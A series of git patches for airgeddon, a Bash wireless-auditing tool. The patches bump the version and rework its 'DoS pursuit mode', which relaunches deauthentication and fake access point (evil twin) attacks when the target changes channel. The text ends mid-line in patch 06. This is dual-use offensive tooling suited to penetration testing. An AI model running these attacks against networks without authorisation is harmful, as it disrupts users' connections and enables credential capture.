From 1bef103744f602763977af029dfd5a19fd66257e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 7 Mar 2023 18:18:38 +0100 Subject: [PATCH 01/63] Preparing version numbers for v11.20 --- README.md | 2 +- airgeddon.sh | 6 +++--- language_strings.sh | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 4a2a2b51a..2a9d89b34 100644 --- a/README.md +++ b/README.md @@ -106,7 +106,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration -[Version-shield]: https://img.shields.io/badge/version-11.11-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-11.20-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/cloud/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!" diff --git a/airgeddon.sh b/airgeddon.sh index 9c368de49..18530fcd3 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Version......: 11.11 +#Version......: 11.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -131,8 +131,8 @@ declare -A possible_alias_names=( ) #General vars -airgeddon_version="11.11" -language_strings_expected_version="11.11-1" +airgeddon_version="11.20" +language_strings_expected_version="11.20-1" standardhandshake_filename="handshake-01.cap" standardpmkid_filename="pmkid_hash.txt" standardpmkidcap_filename="pmkid.cap" diff --git a/language_strings.sh b/language_strings.sh index eb184e9ee..7703a68e2 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -10,7 +10,7 @@ function set_language_strings_version() { debug_print - language_strings_version="11.11-1" + language_strings_version="11.20-1" } #Set different language text strings From 7a90b6d7b949345550bd04f4ee5845b94f4d5bfb Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 7 Mar 2023 18:19:41 +0100 Subject: [PATCH 02/63] Fix color for arabic string --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 7703a68e2..be848e438 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -10139,7 +10139,7 @@ function initialize_language_strings() { arr["POLISH",705]="Nie wykryto żadnego systemu graficznego. Rozważ instalację (system X windows lub Wayland) lub użyj tmux zamiast xterm, modyfikując opcje airgeddon. Więcej informacji o tym, jak to zrobić tutaj: \${normal_color}https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Options" arr["GERMAN",705]="Es wurde kein Grafiksystem erkannt. Erwägen Sie, eines zu installieren (X-Windows-System oder Wayland-Grafiken) oder verwenden Sie tmux anstelle von xterm, um die airgeddon-Optionen zu ändern. Weitere Informationen dazu finden Sie hier: \${normal_color}https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Options" arr["TURKISH",705]="Hiçbir grafik sistemi algılanmadı. Birini kurmayı (X windows sistemi veya Wayland grafikleri) veya airgeddon seçeneklerini değiştirmek için xterm yerine tmux kullanmayı düşünün. Bunun nasıl yapılacağı hakkında daha fazla bilgiyi burada bulabilirsiniz: \${normal_color}https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Options" - arr["ARABIC",705]="\${normal_color}https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Options \${red_color}:للمزيد من المعلومات عن كيفيت عمل هذة الخطوات .xterm بدل من tmux او استخدم (x او Wayland) يتم اكتشاف اي نظام جرافيكس. حول تثبيت واحد من هذين الانظمه" + arr["ARABIC",705]="\${normal_color}https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Options \${red_color}:للمزيد من المعلومات عن كيفيت عمل هذة الخطوات .xterm بدل من tmux او استخدم (x او Wayland) يتم اكتشاف اي نظام جرافيكس. حول تثبيت واحد من هذين الانظمه\${normal_color}" arr["ENGLISH",706]="airgeddon detected you don't have configured the country code for 5Ghz band. Use the \"\${normal_color}iw reg get\${blue_color}\" command to check the current configuration, and \"\${normal_color}iw reg set XX\${blue_color}\" to set the region where XX is your country code (e.g. \"\${normal_color}iw reg set ES\${blue_color}\" for Spain). Verify the configuration with \"\${normal_color}iw reg get\${blue_color}\" before attempting the attack on the 5Ghz target network. Anyway, the 5Ghz band has several channels that may not be available for operation due to country restrictions (DFS channels). If the target network uses one of these channels, the attack may not be successful" arr["SPANISH",706]="airgeddon detectó que no tienes configurado el código de país para la banda de los 5Ghz. Usa el comando \"\${normal_color}iw reg get\${blue_color}\" para comprobar la configuración actual y \"\${normal_color}iw reg set XX\${blue_color}\" para establecer la región donde XX es el código de tu país (por ejemplo, \"\${normal_color}iw reg set ES\${blue_color}\" para España). Verifica la configuración con \"\${normal_color}iw reg get\${blue_color}\" antes de intentar el ataque sobre la red objetivo de 5Ghz. De todos modos, la banda de los 5Ghz tiene varios canales que no estan disponibles para operar debido a las restricciones del país (canales DFS). Si la red objetivo utiliza uno de estos canales, es posible que el ataque no tenga éxito" From 4977cd9f9677ae8c61cb6f3a60f74aa8ffbeadc7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 8 Mar 2023 00:35:39 +0100 Subject: [PATCH 03/63] Add fake AP pids to DoS pursuit mode array and empty when done --- CHANGELOG.md | 3 +++ airgeddon.sh | 43 ++++++++++++++++++++++++++++++++++++------- language_strings.sh | 24 ++++++++++++------------ 3 files changed, 51 insertions(+), 19 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 29c83feca..7f1c50422 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,6 @@ +### 11.20 + - Improvements and fixes on "DoS pursuit mode" + ### 11.11 - Custom enterprise certificates creation fix (now sha256) for modern hostapd-wpe versions - Fixed Docker distro shown (now Kali based) diff --git a/airgeddon.sh b/airgeddon.sh index 18530fcd3..0d070b5c8 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -4564,7 +4564,9 @@ function exec_mdkdeauth() { language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" - dos_pursuit_mode_pids=() + if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then + dos_pursuit_mode_pids=() + fi launch_dos_pursuit_mode_attack "${mdk_command} amok attack" "first_time" pid_control_pursuit_mode "${mdk_command} amok attack" else @@ -4592,7 +4594,9 @@ function exec_aireplaydeauth() { language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" - dos_pursuit_mode_pids=() + if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then + dos_pursuit_mode_pids=() + fi launch_dos_pursuit_mode_attack "aireplay deauth attack" "first_time" pid_control_pursuit_mode "aireplay deauth attack" else @@ -4622,7 +4626,9 @@ function exec_wdsconfusion() { language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" - dos_pursuit_mode_pids=() + if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then + dos_pursuit_mode_pids=() + fi launch_dos_pursuit_mode_attack "wids / wips / wds confusion attack" "first_time" pid_control_pursuit_mode "wids / wips / wds confusion attack" else @@ -4650,7 +4656,9 @@ function exec_beaconflood() { language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" - dos_pursuit_mode_pids=() + if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then + dos_pursuit_mode_pids=() + fi launch_dos_pursuit_mode_attack "beacon flood attack" "first_time" pid_control_pursuit_mode "beacon flood attack" else @@ -4678,7 +4686,9 @@ function exec_authdos() { language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" - dos_pursuit_mode_pids=() + if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then + dos_pursuit_mode_pids=() + fi launch_dos_pursuit_mode_attack "auth dos attack" "first_time" pid_control_pursuit_mode "auth dos attack" else @@ -4706,7 +4716,9 @@ function exec_michaelshutdown() { language_strings "${language}" 506 "yellow" language_strings "${language}" 4 "read" - dos_pursuit_mode_pids=() + if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then + dos_pursuit_mode_pids=() + fi launch_dos_pursuit_mode_attack "michael shutdown attack" "first_time" pid_control_pursuit_mode "michael shutdown attack" else @@ -9362,12 +9374,26 @@ function launch_fake_ap() { ;; esac fi + + if [ "${dos_pursuit_mode}" -eq 1 ]; then + if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then + dos_pursuit_mode_pids=() + fi + fi + manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${hostapd_scr_window_position} -T \"AP\"" "${command}${log_command}" "AP" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) + if [ "${dos_pursuit_mode}" -eq 1 ]; then + dos_pursuit_mode_ap_pid=$! + dos_pursuit_mode_pids+=("${dos_pursuit_mode_ap_pid}") + fi else get_tmux_process_id "${command}" et_processes+=("${global_process_pid}") + if [ "${dos_pursuit_mode}" -eq 1 ]; then + dos_pursuit_mode_pids+=("${global_process_pid}") + fi global_process_pid="" fi @@ -9656,7 +9682,9 @@ function exec_et_deauth() { fi if [ "${dos_pursuit_mode}" -eq 1 ]; then - dos_pursuit_mode_pids=() + if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then + dos_pursuit_mode_pids=() + fi launch_dos_pursuit_mode_attack "${et_dos_attack}" "first_time" pid_control_pursuit_mode "${et_dos_attack}" "evil_twin" & else @@ -11597,6 +11625,7 @@ function kill_dos_pursuit_mode_processes() { if ! stty sane > /dev/null 2>&1; then reset > /dev/null 2>&1 fi + dos_pursuit_mode_pids=() sleep 1 } diff --git a/language_strings.sh b/language_strings.sh index be848e438..8715e68c1 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -7554,18 +7554,18 @@ function initialize_language_strings() { arr["TURKISH",506]="Bu pencerede [Enter] 'a bastığınızda, \"DoS takip modu\" etkin olan DoS saldırısı başlayacaktır. Durdurmak için [Ctrl+C] tuşuna basmalı veya saldırı penceresini kapatmalısınız" arr["ARABIC",506]="أو إغلاق نافذة الهجوم [Ctrl+C] في هذه النافذة. لإيقافه يجب الضغط على [Enter] عندما تضغط على \"DoS pursuit mode\" مع تفعيل وضع DoS سيبدأ هجوم" - arr["ENGLISH",507]="Channel change detected. Relaunching again DoS attack on \"DoS pursuit mode\" now on channel \${normal_color}\${channel}" - arr["SPANISH",507]="Cambio de canal detectado. Relanzando de nuevo ataque DoS en \"modo persecución DoS\" ahora sobre el canal \${normal_color}\${channel}" - arr["FRENCH",507]="Changement de canal détecté. Redémarrage de l'attaque DoS dans le \"mode de poursuite DoS\" maintenant sur le canal \${normal_color}\${channel}" - arr["CATALAN",507]="Canvi de canal detectat. Rellançant de nou l'atac DoS en \"mode persecució DoS\" ara sobre el canal \${normal_color}\${channel}" - arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: \${normal_color}\${channel}" - arr["RUSSIAN",507]="Обнаружено изменение канала. Перезапуск DoS-атаки в \"режиме DoS преследования\" теперь на канале \${normal_color}\${channel}" - arr["GREEK",507]="Εντοπίστηκε αλλαγή καναλιού. Γίνεται πάλι επίθεση DoS \"DoS pursuit mode\" στο κανάλι \${normal_color}\${channel}" - arr["ITALIAN",507]="Cambio di canale rilevato. Riavviare nuovamente l'attacco DoS in modalità \"DoS pursuit mode\" sul canale \${normal_color}\${channel}" - arr["POLISH",507]="Wykryto zmianę kanału. Ponowne uruchomienie ataku DoS w trybie \"DoS pursuit\" na kanale \${normal_color}\${channel}" - arr["GERMAN",507]="Änderung des erkannten Kanals DoS-Angriff erneut im \"DoS pursuit mode\" auf dem Kanal wiederholen \${normal_color}\${channel}" - arr["TURKISH",507]="Kanal değişikliği tespit edildi. Yeniden yeniden başlatılıyor DoS saldırısı şu anda kanalda \"DoS peşinde koşma modu\" \${normal_color}\${channel}" - arr["ARABIC",507]="\${normal_color}\${channel}\${yellow_color} الآن على القناة \"DoS pursuit mode\" مرة أخرى على وضع DoS تم الكشف عن تغيير القناة. إعادة إطلاق هجوم\${normal_color}" + arr["ENGLISH",507]="Channel change detected. Reconfiguring attack (AP and DoS) as part of \"DoS pursuit mode\". Now on channel \${normal_color}\${channel}" + arr["SPANISH",507]="Cambio de canal detectado. Reconfigurando ataque (AP y DoS) como parte del \"modo persecución DoS\". Ahora en el canal \${normal_color}\${channel}" + arr["FRENCH",507]="\${pending_of_translation} Changement de canal détecté. Reconfiguration de l'attaque (AP et DoS) dans le cadre du \"mode de poursuite DoS\". Maintenant sur le canal \${normal_color}\${channel}" + arr["CATALAN",507]="\${pending_of_translation} S'ha detectat un canvi de canal. S'està reconfigurant l'atac (AP i DoS) com a part del \"Mode de persecució DoS\". Ara al canal \${normal_color}\${channel}" + arr["PORTUGUESE",507]="\${pending_of_translation} Mudança de canal detectada. Reconfigurando o ataque (AP e DoS) como parte do \"modo de perseguição\". Agora no canal \${normal_color}\${channel}" + arr["RUSSIAN",507]="\${pending_of_translation} Обнаружено изменение канала. Реконфигурация атаки (AP и DoS) как часть \"режимом DoS преследования\". Сейчас на канале \${normal_color}\${channel}" + arr["GREEK",507]="\${pending_of_translation} Εντοπίστηκε αλλαγή καναλιού. Επαναδιαμόρφωση επίθεσης (AP και DoS) ως μέρος της \"DoS pursuit mode\". Τώρα στο κανάλι \${normal_color}\${channel}" + arr["ITALIAN",507]="\${pending_of_translation} Rilevato cambio di canale. Riconfigurazione dell'attacco (AP e DoS) come parte della \"DoS pursuit mode\". Ora sul canale \${normal_color}\${channel}" + arr["POLISH",507]="\${pending_of_translation} Wykryto zmianę kanału. Rekonfiguracja ataku (AP i DoS) w ramach \"DoS pursuit\". Teraz na kanale \${normal_color}\${channel}" + arr["GERMAN",507]="\${pending_of_translation} Kanalwechsel erkannt. Rekonfigurieren des Angriffs (AP und DoS) als Teil des \"DoS pursuit mode\". Jetzt auf Kanal \${normal_color}\${channel}" + arr["TURKISH",507]="\${pending_of_translation} Kanal değişikliği algılandı. Saldırı (AP ve DoS) \"DoS takip modu\"nun bir parçası olarak yeniden yapılandırılıyor. Şimdi \${normal_color}\${channel} kanalında" + arr["ARABIC",507]="\${pending_of_translation} \${normal_color}\${channel}\${yellow_color}تم الكشف عن تغيير القناة. إعادة تكوين الهجوم (AP و DoS) كجزء من \"DoS pursuit mode\". الآن على القناة\${normal_color}" arr["ENGLISH",508]="\"DoS pursuit mode\" can be unstable for this kind of DoS attack. If you are not obtaining an optimal result just select another kind of attack" arr["SPANISH",508]="El \"modo persecución DoS\" puede ser inestable para este tipo de ataque DoS. Si el resultado no es óptimo selecciona otro tipo de ataque" From abedd843f9d1e37da72324ed38a7b397ff424793 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 8 Mar 2023 00:48:02 +0100 Subject: [PATCH 04/63] remove forgotten initialization of the dos_pursuit_mode_pids array --- airgeddon.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 0d070b5c8..382855102 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -4530,7 +4530,6 @@ pid_control_pursuit_mode() { echo "${channel}" > "${tmpdir}${channelfile}" fi kill_dos_pursuit_mode_processes - dos_pursuit_mode_pids=() launch_dos_pursuit_mode_attack "${1}" "relaunch" fi fi From b02f451d8e0bea0919639eb6b0366f1a436dca8f Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 13 Mar 2023 00:16:06 +0100 Subject: [PATCH 05/63] DoS pursuit mode refactor to relaunch also fake AP on channel change detection --- airgeddon.sh | 93 +++++++++++++++++++++++++++------------------------- 1 file changed, 48 insertions(+), 45 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 382855102..5faa6ad96 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -303,7 +303,6 @@ currentpassfile="ag.et_currentpass.txt" et_successfile="ag.et_success.txt" enterprise_successfile="ag.enterprise_success.txt" et_processesfile="ag.et_processes.txt" -enterprise_processesfile="ag.enterprise_processes.txt" asleap_pot_tmp="ag.asleap_tmp.txt" channelfile="ag.et_channel.txt" possible_dhcp_leases_files=( @@ -4489,19 +4488,18 @@ function launch_dos_pursuit_mode_attack() { dos_pursuit_mode_scan_pid=$! dos_pursuit_mode_pids+=("${dos_pursuit_mode_scan_pid}") - if [[ "${et_mode}" = "et_captive_portal" ]] || [[ -n "${enterprise_mode}" ]]; then - - local processes_file - if [ "${et_mode}" = "et_captive_portal" ]; then - processes_file="${tmpdir}${webdir}${et_processesfile}" - elif [ -n "${enterprise_mode}" ]; then - processes_file="${tmpdir}${enterprisedir}${enterprise_processesfile}" + if [[ -n "${2}" ]] && [[ "${2}" = "relaunch" ]]; then + if [[ -n "${enterprise_mode}" ]] || [[ -n "${et_mode}" ]]; then + launch_fake_ap fi - - for item in "${dos_pursuit_mode_pids[@]}"; do - echo "${item}" >> "${processes_file}" - done fi + + + local processes_file + processes_file="${tmpdir}${et_processesfile}" + for item in "${dos_pursuit_mode_pids[@]}"; do + echo "${item}" >> "${processes_file}" + done } #Parse and control pids for DoS pursuit mode attack @@ -4509,10 +4507,8 @@ pid_control_pursuit_mode() { debug_print - if [[ -n "${2}" ]] && [[ "${2}" = "evil_twin" ]]; then - rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 - echo "${channel}" > "${tmpdir}${channelfile}" - fi + rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 + echo "${channel}" > "${tmpdir}${channelfile}" while true; do sleep 5 @@ -4525,10 +4521,15 @@ pid_control_pursuit_mode() { if [[ "${dos_pm_current_channel}" =~ ^([0-9]+)$ ]] && [[ "${BASH_REMATCH[1]}" -ne 0 ]] && [[ "${BASH_REMATCH[1]}" -ne "${channel}" ]]; then channel="${dos_pm_current_channel}" - if [[ -n "${2}" ]] && [[ "${2}" = "evil_twin" ]]; then - rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 - echo "${channel}" > "${tmpdir}${channelfile}" + rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1 + echo "${channel}" > "${tmpdir}${channelfile}" + + if [ -n "${enterprise_mode}" ]; then + sed -ri "s:(channel)=([0-9]{1,3}):\1=${channel}:" "${tmpdir}${hostapd_wpe_file}" 2> /dev/null + elif [ -n "${et_mode}" ]; then + sed -ri "s:(channel)=([0-9]{1,3}):\1=${channel}:" "${tmpdir}${hostapd_file}" 2> /dev/null fi + kill_dos_pursuit_mode_processes launch_dos_pursuit_mode_attack "${1}" "relaunch" fi @@ -5522,13 +5523,13 @@ function initialize_menu_and_print_selections() { print_iface_selected ;; "evil_twin_attacks_menu") - enterprise_mode="" return_to_et_main_menu=0 return_to_enterprise_main_menu=0 retry_handshake_capture=0 return_to_et_main_menu_from_beef=0 retrying_handshake_capture=0 internet_interface_selected=0 + enterprise_mode="" et_mode="" et_processes=() secondary_wifi_interface="" @@ -5540,6 +5541,7 @@ function initialize_menu_and_print_selections() { return_to_enterprise_main_menu=0 return_to_et_main_menu=0 enterprise_mode="" + et_mode="" et_processes=() secondary_wifi_interface="" et_enterprise_attack_adapter_prerequisites_ok=0 @@ -5610,6 +5612,7 @@ function clean_tmpfiles() { rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 rm -rf "${tmpdir}jtrtmp"* > /dev/null 2>&1 rm -rf "${tmpdir}${aircrack_pot_tmp}" > /dev/null 2>&1 + rm -rf "${tmpdir}${et_processesfile}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_wpe_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_wpe_log}" > /dev/null 2>&1 @@ -8867,7 +8870,7 @@ function exec_enterprise_attack() { exec_et_deauth set_enterprise_control_script launch_enterprise_control_window - write_enterprise_processes + write_et_processes echo language_strings "${language}" 524 "yellow" @@ -8878,6 +8881,7 @@ function exec_enterprise_attack() { if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi + if [ ${enterprise_mode} = "noisy" ]; then restore_et_interface else @@ -9023,6 +9027,7 @@ function exec_et_onlyap_attack() { exec_et_deauth set_et_control_script launch_et_control_window + write_et_processes echo language_strings "${language}" 298 "yellow" @@ -9033,6 +9038,7 @@ function exec_et_onlyap_attack() { if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi + restore_et_interface clean_tmpfiles } @@ -9051,6 +9057,7 @@ function exec_et_sniffing_attack() { launch_ettercap_sniffing set_et_control_script launch_et_control_window + write_et_processes echo language_strings "${language}" 298 "yellow" @@ -9061,6 +9068,7 @@ function exec_et_sniffing_attack() { if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi + restore_et_interface if [ ${ettercap_log} -eq 1 ]; then parse_ettercap_log @@ -9082,6 +9090,7 @@ function exec_et_sniffing_sslstrip2_attack() { launch_bettercap_sniffing set_et_control_script launch_et_control_window + write_et_processes echo language_strings "${language}" 298 "yellow" @@ -9092,6 +9101,7 @@ function exec_et_sniffing_sslstrip2_attack() { if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi + restore_et_interface if [ ${bettercap_log} -eq 1 ]; then parse_bettercap_log @@ -9123,6 +9133,7 @@ function exec_et_sniffing_sslstrip2_beef_attack() { launch_bettercap_sniffing set_et_control_script launch_et_control_window + write_et_processes echo language_strings "${language}" 298 "yellow" @@ -9134,6 +9145,7 @@ function exec_et_sniffing_sslstrip2_beef_attack() { if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi + restore_et_interface if [ ${bettercap_log} -eq 1 ]; then parse_bettercap_log @@ -9172,6 +9184,7 @@ function exec_et_captive_portal_attack() { if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi + restore_et_interface clean_tmpfiles } @@ -9685,7 +9698,7 @@ function exec_et_deauth() { dos_pursuit_mode_pids=() fi launch_dos_pursuit_mode_attack "${et_dos_attack}" "first_time" - pid_control_pursuit_mode "${et_dos_attack}" "evil_twin" & + pid_control_pursuit_mode "${et_dos_attack}" & else manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth\"" "${deauth_et_cmd}" "Deauth" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then @@ -10185,7 +10198,7 @@ function set_enterprise_control_script() { airmon="${airmon}" enterprise_returning_vars_file="${tmpdir}${enterprisedir}returning_vars.txt" enterprise_heredoc_mode="${enterprise_mode}" - path_to_processes="${tmpdir}${enterprisedir}${enterprise_processesfile}" + path_to_processes="${tmpdir}${et_processesfile}" wpe_logfile="${tmpdir}${hostapd_wpe_log}" success_file="${tmpdir}${enterprisedir}${enterprise_successfile}" done_msg="${yellow_color}${enterprise_texts[${language},9]}${normal_color}" @@ -10451,29 +10464,27 @@ function set_et_control_script() { cat >&7 <<-EOF #!/usr/bin/env bash et_heredoc_mode=${et_mode} + path_to_processes="${tmpdir}${et_processesfile}" EOF cat >&7 <<-'EOF' + function kill_et_windows() { + + readarray -t ET_PROCESSES_TO_KILL < <(cat < "${path_to_processes}" 2> /dev/null) + for item in "${ET_PROCESSES_TO_KILL[@]}"; do + kill "${item}" &> /dev/null + done + } + if [ "${et_heredoc_mode}" = "et_captive_portal" ]; then EOF cat >&7 <<-EOF - path_to_processes="${tmpdir}${webdir}${et_processesfile}" attempts_path="${tmpdir}${webdir}${attemptsfile}" attempts_text="${blue_color}${et_misc_texts[${language},20]}:${normal_color}" last_password_msg="${blue_color}${et_misc_texts[${language},21]}${normal_color}" EOF - cat >&7 <<-'EOF' - function kill_et_windows() { - - readarray -t ET_PROCESSES_TO_KILL < <(cat < "${path_to_processes}" 2> /dev/null) - for item in "${ET_PROCESSES_TO_KILL[@]}"; do - kill "${item}" &> /dev/null - done - } - EOF - if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cat >&7 <<-EOF function kill_tmux_windows() { @@ -11555,23 +11566,15 @@ function parse_bettercap_log() { language_strings "${language}" 115 "read" } -#Write on a file the id of the captive portal Evil Twin attack processes +#Write on a file the id of the Evil Twin attack processes function write_et_processes() { debug_print - for item in "${et_processes[@]}"; do - echo "${item}" >> "${tmpdir}${webdir}${et_processesfile}" - done -} - -#Write on a file the id of the Enterprise Evil Twin attack processes -function write_enterprise_processes() { - - debug_print + rm -rf "${tmpdir}${et_processesfile}" > /dev/null 2>&1 for item in "${et_processes[@]}"; do - echo "${item}" >> "${tmpdir}${enterprisedir}${enterprise_processesfile}" + echo "${item}" >> "${tmpdir}${et_processesfile}" done } From 14b1afe9e2b49b160aaf42b6fe03d4e957328425 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 13 Mar 2023 16:56:36 +0100 Subject: [PATCH 06/63] Add DoS pursuit mode secondary interface selection for DoS attacks at DoS attacks menu --- airgeddon.sh | 241 ++++++++++++++++++++++++++++++++++++++++---- language_strings.sh | 13 +++ 2 files changed, 237 insertions(+), 17 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 5faa6ad96..682946ce2 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2438,7 +2438,7 @@ function dos_pursuit_mode_et_handler() { language_strings "${language}" 115 "read" fi - if select_secondary_et_interface "dos_pursuit_mode"; then + if select_secondary_interface "dos_pursuit_mode"; then if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo @@ -2485,8 +2485,8 @@ function dos_pursuit_mode_et_handler() { return 0 } -#Secondary interface selection menu for Evil Twin and Enterprise attacks -function select_secondary_et_interface() { +#Secondary interface selection menu for Evil Twin, Enterprise attacks and DoS pursuit mode +function select_secondary_interface() { debug_print @@ -2509,7 +2509,9 @@ function select_secondary_et_interface() { language_strings "${language}" 523 "title" ;; esac - else + elif [[ -z "${enterprise_mode}" ]] && [[ -z "${et_mode}" ]]; then + current_menu="dos_attacks_menu" + elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then current_menu="evil_twin_attacks_menu" case ${et_mode} in "et_onlyap") @@ -2596,7 +2598,7 @@ function select_secondary_et_interface() { if [ ${option_counter} -eq 0 ]; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 - else + elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 fi @@ -2620,7 +2622,7 @@ function select_secondary_et_interface() { if [ "${secondary_iface}" -eq 0 ] 2> /dev/null; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 - else + elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 fi @@ -4331,8 +4333,13 @@ function launch_dos_pursuit_mode_attack() { rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 if [[ -n "${2}" ]] && [[ "${2}" = "relaunch" ]]; then - echo - language_strings "${language}" 507 "yellow" + if [[ -z "${enterprise_mode}" ]] && [[ -z "${et_mode}" ]]; then + echo + language_strings "${language}" 707 "yellow" + else + echo + language_strings "${language}" 507 "yellow" + fi fi recalculate_windows_sizes @@ -4757,9 +4764,42 @@ function mdk_deauth_option() { return fi - ask_yesno 505 "yes" + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 + + if select_secondary_interface "dos_pursuit_mode"; then + + if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then + echo + language_strings "${language}" 394 "red" + language_strings "${language}" 115 "read" + + return 1 + fi + + if ! check_monitor_enabled "${secondary_wifi_interface}"; then + echo + language_strings "${language}" 14 "yellow" + echo + language_strings "${language}" 513 "blue" + language_strings "${language}" 115 "read" + echo + if ! monitor_option "${secondary_wifi_interface}"; then + return 1 + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + return 1 + fi fi exec_mdkdeauth @@ -4827,9 +4867,42 @@ function aireplay_deauth_option() { return fi - ask_yesno 505 "yes" + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 + + if select_secondary_interface "dos_pursuit_mode"; then + + if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then + echo + language_strings "${language}" 394 "red" + language_strings "${language}" 115 "read" + + return 1 + fi + + if ! check_monitor_enabled "${secondary_wifi_interface}"; then + echo + language_strings "${language}" 14 "yellow" + echo + language_strings "${language}" 513 "blue" + language_strings "${language}" 115 "read" + echo + if ! monitor_option "${secondary_wifi_interface}"; then + return 1 + else + echo + language_strings "${language}" 34 "yellow" + language_strings 